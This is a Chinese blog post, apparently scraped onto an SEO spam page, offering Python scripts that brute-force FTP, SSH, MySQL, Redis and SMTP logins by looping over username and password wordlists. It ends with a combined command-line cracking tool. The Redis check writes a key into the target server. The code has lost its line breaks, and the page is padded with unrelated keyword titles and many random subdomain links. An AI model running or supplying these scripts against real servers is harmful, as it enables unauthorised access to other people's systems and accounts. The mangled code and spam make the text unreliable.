当前位置: 首页 > wzjs >正文

江苏建设人才的网站wordpress 家教主题

江苏建设人才的网站,wordpress 家教主题,济南网络优化哪家专业,广东建设监理网站用途:个人学习笔记,有所借鉴,欢迎指正! 目录 前言: 一、Python-文件传输爆破-ftplib库操作ftp协议 1、关键代码解释: 2、完整代码: 二、Python-登录爆破-paramiko库操作ssh协议 1、关键…

用途:个人学习笔记,有所借鉴,欢迎指正!

目录

前言:

一、Python-文件传输爆破-ftplib库操作ftp协议 

1、关键代码解释:

2、完整代码: 

二、Python-登录爆破-paramiko库操作ssh协议

1、关键代码解释:

2、完整代码: 

三、Python-数据库爆破-pymysqlj库操作mysql协议

1、关键代码解释:

2、完整代码: 

四、Python-数据库爆破-redis库操作redist协议

1、关键代码解释:

2、完整代码:

五、Python-邮件爆破-smtplib库操作smtp协议

1、关键代码解释:

2、完整代码: 

六、整合五种协议爆破完整脚本


前言:

原理:python的一些库支持FTP、SSH、Redis、SMTP、Mysql等协议远程登录,只需要知道该服务器ip和端口,然后用本机准备好的用户名字典和密码字典进行循环组合尝试爆破登录,其中字典的好坏决定成功的几率,可以尝试弱口令集和社工方式获取,当然也不一定能成功,这只是锄头,挖不挖的进取决于是什么地。

一、Python-文件传输爆破-ftplib库操作ftp协议 

FTP服务默认端口:21

1、关键代码解释:

from ftplib import FTPftp = FTP()
ftp.connect(ip, 21)  #连接ftp服务器ip和端口
ftp.login(username,password) #尝试用户名和密码远程登录

2、完整代码: 

from ftplib import FTP
import osdef ftp_check(ip,username,password):ftp = FTP()print('check->'+ip+'|'+username+'|'+password)try:ftp.connect(ip, 21)ftp.login(username,password)print('success')exit()except Exception as e:print('failed')if __name__ == '__main__':pypath = os.getcwd()  #当前工作目录ip=input('please input ftp ip:')#注意修改自己字典的存放目录for username in open(pypath+'/dic/ftp_username.txt'):username=username.replace('\n','')for password in open(pypath+'/dic/ftp_password.txt'):password=password.replace('\n','')ftp_check(ip,username,password)

二、Python-登录爆破-paramiko库操作ssh协议

ssh服务默认端口:22

1、关键代码解释:

import paramiko#获取SSH客户端对象
ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
#使用用户名和密码远程连接
ssh.connect(ip,"22",username,password)

2、完整代码: 

import paramiko,osdef ssh_check(ip,username,password):print('check->' + ip + '|' + username + '|' + password)ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())try:ssh.connect(ip,"22",username,password)print('success')exit()except Exception as e:print('failed')if __name__ == '__main__':pypath = os.getcwd() #当前工作目录ip = input('please input ssh ip:')#注意修改自己字典的存放目录for username in open(pypath + '/dic/ssh_username.txt'):username = username.replace('\n', '')for password in open(pypath + '/dic/ssh_password.txt'):password = password.replace('\n', '')ssh_check(ip,username,password)

三、Python-数据库爆破-pymysqlj库操作mysql协议

mysql服务默认端口:3306

1、关键代码解释:

import pymysql#远程连接Myql服务
conn_obj = pymysql.connect( host=ip,  # MySQL服务端的IP地址port=3306,  # MySQL默认PORT地址(端口号)user=username,  # 用户名password=password,  # 密码,也可以简写为passwddatabase='mysql',  # 库名称,也可以简写为dbcharset='utf8'  # 字符编码)

2、完整代码: 

import pymysql,osdef mysql_check(ip,username,password):print('check->' + ip + '|' + username + '|' + password)try:conn_obj = pymysql.connect(host=ip,  port=3306, user=username, password=password, database='mysql',charset='utf8')print('success')exit()except Exception as e:passif __name__ == '__main__':pypath = os.getcwd() #当前工作目录ip = input('please input ssh ip:')#注意修改自己字典的存放目录for username in open(pypath + '/dic/mysql_username.txt'):username = username.replace('\n', '')for password in open(pypath + '/dic/mysql_password.txt'):password = password.replace('\n', '')mysql_check(ip,username,password)

四、Python-数据库爆破-redis库操作redist协议

redis服务默认端口:6379,远程登录不需要账号,只要密码

1、关键代码解释:

import redis#远程连接redis服务
redis_conn = redis.Redis(host=ip, port=6379, password=password, db=0)
redis_conn.set('test', 'laowang') #存入键,测试密码是否正确,若错误则存入失败报错

2、完整代码:

import redis,osdef redis_check(ip,password):print('check->' + ip + '|' + password)try:redis_conn = redis.Redis(host=ip, port=6379, password=password, db=0)redis_conn.set('test', 'laowang')print('success')exit()except Exception as e:passif __name__ == '__main__':pypath = os.getcwd() #当前工作目录ip = input('please input ssh ip:')#注意修改字典所在目录for password in open(pypath + '/dic/redis_password.txt'):password = password.replace('\n', '')redis_check(ip, password)

五、Python-邮件爆破-smtplib库操作smtp协议

smtp服务默认端口:25

1、关键代码解释:

import smtplib
#获取smtp客户端对象
smtpObj = smtplib.SMTP()
#远程连接SMTP服务, 25 为 SMTP 端口号
smtpObj.connect('smtp.'+ip, 25)
#用户名和密码尝试登录
smtpObj.login(username, password)

2、完整代码: 

import smtplib,osdef email_check(ip,username,password):print('check->' + ip + '|' +username+'|'+ password)try:smtpObj = smtplib.SMTP()smtpObj.connect('smtp.'+ip, 25) smtpObj.login(username, password)print('ok')exit()except smtplib.SMTPException:print("Error")if __name__ == '__main__':pypath = os.getcwd() #当前工作目录#注意修改字典所在目录for username in open(pypath + '/dic/email_username.txt'):username = username.replace('\n', '')ip=username.split('@')[1]for password in open(pypath + '/dic/email_password.txt'):password = password.replace('\n', '')email_check(ip, username, password)

六、整合五种协议爆破完整脚本

from ftplib import FTP
import paramiko
import pymysql
import redis
import smtplib
import os,sysdef ftp_check(ip,username,password):ftp = FTP()print('check->'+ip+'|'+username+'|'+password)try:ftp.connect(ip, 21)ftp.login(username,password)print('success')exit()except Exception as e:print('failed')def ssh_check(ip,username,password):print('check->' + ip + '|' + username + '|' + password)ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())try:ssh.connect(ip,"22",username,password)print('success')exit()except Exception as e:print('failed')def mysql_check(ip,username,password):print('check->' + ip + '|' + username + '|' + password)try:conn_obj = pymysql.connect(host=ip,  # MySQL服务端的IP地址port=3306,  # MySQL默认PORT地址(端口号)user=username,  # 用户名password=password,  # 密码,也可以简写为passwddatabase='mysql',  # 库名称,也可以简写为dbcharset='utf8'  # 字符编码)print('success')exit()except Exception as e:passdef redis_check(ip,password):print('check->' + ip + '|' + password)try:redis_conn = redis.Redis(host=ip, port=6379, password=password, db=0)redis_conn.set('test', 'xiaodi')print('success')exit()except Exception as e:passdef email_check(ip,username,password):print('check->' + ip + '|' +username+'|'+ password)try:smtpObj = smtplib.SMTP()smtpObj.connect('smtp.'+ip, 25)  # 25 为 SMTP 端口号smtpObj.login(username, password)print('ok')exit()except smtplib.SMTPException:print("Error")if __name__ == '__main__':pypath = os.getcwd()print('eg:固定字典使用说明:')print('python all.py ftp 127.0.0.1')print('python all.py ssh 127.0.0.1')print('python all.py redis 127.0.0.1')print('python all.py mysql 127.0.0.1')print('python all.py email')print('eg:自定义字典使用说明:')print('python all.py ftp 127.0.0.1 user.txt pass.txt')print('python all.py ssh 127.0.0.1 user.txt pass.txt')print('python all.py redis 127.0.0.1 user.txt pass.txt')print('python all.py mysql 127.0.0.1 user.txt pass.txt')print('python all.py email user.txt pass.txt')xy=sys.argv[1]ip=sys.argv[2]zidian = sys.argv[3]zidian2=sys.argv[4]#没有设置自定义字典,采用固定字典if len(zidian)==0:if xy=='ftp':for username in open(pypath + '/conf/dic_username_ftp.txt'):username = username.replace('\n', '')for password in open(pypath + '/conf/dic_password_ftp.txt'):password = password.replace('\n', '')ftp_check(ip, username, password)elif xy=='ssh':for username in open(pypath + '/conf/dic_username_ssh.txt'):username = username.replace('\n', '')for password in open(pypath + '/conf/dic_password_ssh.txt'):password = password.replace('\n', '')ssh_check(ip, username, password)elif xy=='mysql':for username in open(pypath + '/conf/dic_username_mysql.txt'):username = username.replace('\n', '')for password in open(pypath + '/conf/dic_password_mysql.txt'):password = password.replace('\n', '')mysql_check(ip, username, password)elif xy=='redis':for password in open(pypath + '/conf/dic_password_redis.txt'):password = password.replace('\n', '')redis_check(ip, password)elif xy=='email':for username in open(pypath + '/conf/dic_username_email.txt'):username = username.replace('\n', '')ip = username.split('@')[1]for password in open(pypath + '/conf/dic_password_email.txt'):password = password.replace('\n', '')email_check(ip, username, password)#设置了自定义字典,自定义字典爆破(代码只修改的ftp)else:if xy=='ftp':for username in open(pypath +'\\'+ zidian):username = username.replace('\n', '')for password in open(pypath +'\\'+ zidian2):password = password.replace('\n', '')ftp_check(ip, username, password)elif xy=='ssh':for username in open(pypath + '/conf/dic_username_ssh.txt'):username = username.replace('\n', '')for password in open(pypath + '/conf/dic_password_ssh.txt'):password = password.replace('\n', '')ssh_check(ip, username, password)elif xy=='mysql':for username in open(pypath + '/conf/dic_username_mysql.txt'):username = username.replace('\n', '')for password in open(pypath + '/conf/dic_password_mysql.txt'):password = password.replace('\n', '')mysql_check(ip, username, password)elif xy=='redis':for password in open(pypath + '/conf/dic_password_redis.txt'):password = password.replace('\n', '')redis_check(ip, password)elif xy=='email':for username in open(pypath + '/conf/dic_username_email.txt'):username = username.replace('\n', '')ip = username.split('@')[1]for password in open(pypath + '/conf/dic_password_email.txt'):password = password.replace('\n', '')email_check(ip, username, password)

文章转载自:

http://Un5zl6j9.hxbps.cn
http://xBEILM43.hxbps.cn
http://O8BtA6mB.hxbps.cn
http://7uLrnYAW.hxbps.cn
http://73LvRFbK.hxbps.cn
http://orxxlXz0.hxbps.cn
http://SoexJiu7.hxbps.cn
http://B4exdgMX.hxbps.cn
http://0KGAjmlw.hxbps.cn
http://zCUFCcjL.hxbps.cn
http://UljmHBhx.hxbps.cn
http://tuebW7Ro.hxbps.cn
http://9llSSv5Z.hxbps.cn
http://MEuudQYV.hxbps.cn
http://pKiwGy3h.hxbps.cn
http://06lSkd5L.hxbps.cn
http://JyhonukG.hxbps.cn
http://M28CyXfM.hxbps.cn
http://AnMNcjrG.hxbps.cn
http://b01LkTZw.hxbps.cn
http://r4dena9n.hxbps.cn
http://U0ko7Sor.hxbps.cn
http://5Ura6hZA.hxbps.cn
http://dk6995FY.hxbps.cn
http://m5YoYa2w.hxbps.cn
http://nrojePw9.hxbps.cn
http://vRFqsIyC.hxbps.cn
http://qIjyN3PW.hxbps.cn
http://Ez7A1ZZe.hxbps.cn
http://M2dImqu2.hxbps.cn
http://www.dtcms.com/wzjs/638346.html

相关文章:

  • 临沂企业建站模板wordpress获取文章id方法
  • 成都网站seo推广wordpress pro版
  • oa网站建设价格西安竞价托管代运营
  • 网站开发用到的研究方法公司建设内容是什么
  • 广西城乡建设厅网站首网站模板 整站源码下载
  • 网站开发工程师培训班wordpress促销插件
  • 个人网站建设素材易企秀h5制作教程
  • 传统企业公司网站优化案例wordpress+搭建知识库
  • 手做网站张家港高端网站制作
  • 网站项目维护费用东莞定制网站开发
  • 湖南广源建设工程有限公司网站淘宝开店后怎么运营
  • 做app网站需要什么条件深圳专业网站公司
  • 中国免费网站服务器百度推广关键词排名在哪看
  • 智慧团登录官方网站网页设计什么软件
  • 福建省城乡建设官方网站天津塘沽爆炸电影
  • 公众号和网站先做哪个比较好美容网站建设
  • 网站推广软文是什么wordpress建站说明
  • 网站的缩略图湖南麟辉建设集团有限公司网站
  • 家政行业网站建设方案网站开发php未来发展
  • 怎样查询网站是否备案苏州网站建设系统价格合理
  • 免费入驻的网站设计平台网站转小程序工具
  • 网站分析工具查找网站备案
  • 源码如何搭建网站中国国防新闻
  • 查询邮箱注册过的网站建设自己的网站有什么
  • 阿里云网站建设部署与发布郑州网站建设系统培训
  • 东莞网站建设seo推广邵东网站
  • 网站添加漂浮二维码怎么做哈尔滨网站建设q479185700惠
  • 辽宁省建设厅网站更新网站正在建设页面模板
  • 国外学校网站模板苏州网站建设比较好的公司
  • 南阳做网站优化哪家好山东网站建设优化